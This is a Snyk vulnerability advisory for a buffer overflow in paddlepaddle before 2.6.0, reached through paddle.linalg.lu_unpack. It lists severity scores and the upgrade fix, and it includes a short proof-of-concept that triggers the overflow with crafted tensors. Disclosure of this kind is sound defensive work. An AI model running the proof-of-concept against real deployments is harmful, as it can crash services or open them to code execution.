Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') Affecting paddlepaddle package, versions [,2.6.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.09% (41st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-PADDLEPADDLE-6142742
  • published 3 Jan 2024
  • disclosed 3 Jan 2024
  • credit Tong Liu

How to fix?

Upgrade paddlepaddle to version 2.6.0 or higher.

Overview

paddlepaddle is a Parallel Distributed Deep Learning

Affected versions of this package are vulnerable to Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') via the paddle.linalg.lu_unpack function. An attacker can cause a denial of service or potentially execute arbitrary code by providing specially crafted input to trigger this vulnerability.

PoC

import paddle
import numpy as np

x = paddle.to_tensor(np.random.uniform(-6666666, 100000000, [1, 6, 4, 8, 2]).astype(np.float32))
y = paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, []).astype(np.int32))

paddle.linalg.lu_unpack(x, y, True, True)

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
8.2 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    Required
  • Scope (S)
    Changed
  • Confidentiality (C)
    None
  • Integrity (I)
    High
  • Availability (A)
    Low
Expand this section

NVD

9.8 critical